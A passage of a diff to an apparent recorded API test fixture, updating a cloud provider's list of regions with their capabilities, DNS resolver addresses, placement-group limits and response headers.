Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:34 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: 